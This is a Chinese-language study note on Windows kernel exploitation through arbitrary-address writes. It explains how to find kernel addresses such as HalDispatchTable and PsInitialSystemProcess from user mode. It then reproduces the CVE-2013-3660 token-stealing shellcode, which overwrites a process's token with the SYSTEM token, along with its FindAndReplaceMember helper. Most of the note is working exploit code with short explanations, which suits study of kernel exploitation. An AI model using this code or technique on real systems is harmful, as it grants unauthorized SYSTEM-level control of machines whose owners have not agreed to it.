学习过程中总结以下Windows内核漏洞的基础

任意地址写

NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");

nt!NtQueryIntervalProfile用来call HalDispatchTable+4以控制程序执行流程

NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");

NtQuerySystemInformation用来查询系统的信息

1
2
enum { SystemModuleInformation = 11 };
NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL);
1
KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);

这一步得到的KernelHandle可以看作是内核的句柄,也能看作是一个基地址

1
2
3
4
HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG)KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;

其中HalDispatchTable是我们要覆写的地址-4,PsInitialSystemProcess是一个指针,其中存着指向System ProcessPEPROCESS指针,PsReferencePrimaryToken函数为指定进程增加主令牌的引用计数,并返回指向给定进程的主要令牌的指针,PsLookupProcessByProcessId接受进程的进程ID,并返回指向该进程的EPROCESS结构的引用指针

那么这里为什么要GetProcAddress之后再减去KernelHandle然后再加上ModuleInfo.Modules[0].ImageBase呢?

这是因为,LoadLibrary导入的模块是属于当前进程的,并不属于内核,所以GetProcAddress后减去KernelHandle得到偏移,然后再加上ModuleInfo.Modules[0].ImageBase即内核基地址,才能得到相关函数在内核中的地址

CVE-2013-3660Shellcode来说,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)
{
PVOID TargetProcess;

// Record that the exploit completed.
Finished = 1;

// Fix the corrupted HalDispatchTable,
HalDispatchTable[1] = HalQuerySystemInformation //ret;

// Find the EPROCESS structure for the process I want to escalate
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
PACCESS_TOKEN SystemToken;
PACCESS_TOKEN TargetToken;

// Find the Token object for my target process, and the SYSTEM process.
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);

// Find the token in the target process, and replace with the system token.
FindAndReplaceMember((PDWORD) TargetProcess,
(DWORD) TargetToken,
(DWORD) SystemToken,
0x200);
}

return 0;
}

用内核态执行了用户态的shellcode代码,先用PsLookupProcessByProcessId得到当前进程,然后两个PsReferencePrimaryToken得到当前进程的token和System token,并将其交换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
BOOL FindAndReplaceMember(PDWORD Structure,
DWORD CurrentValue,
DWORD NewValue,
DWORD MaxSize)
{
DWORD i, Mask;

// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting.
Mask = ~7;

// Mask out the reference count.
CurrentValue &= Mask;

// Scan the structure for any occurrence of CurrentValue.
for (i = 0; i < MaxSize; i++) {
if ((Structure[i] & Mask) == CurrentValue) {
// And finally, replace it with NewValue.
Structure[i] = NewValue;
return TRUE;
}
}

// Member not found.
return FALSE;
}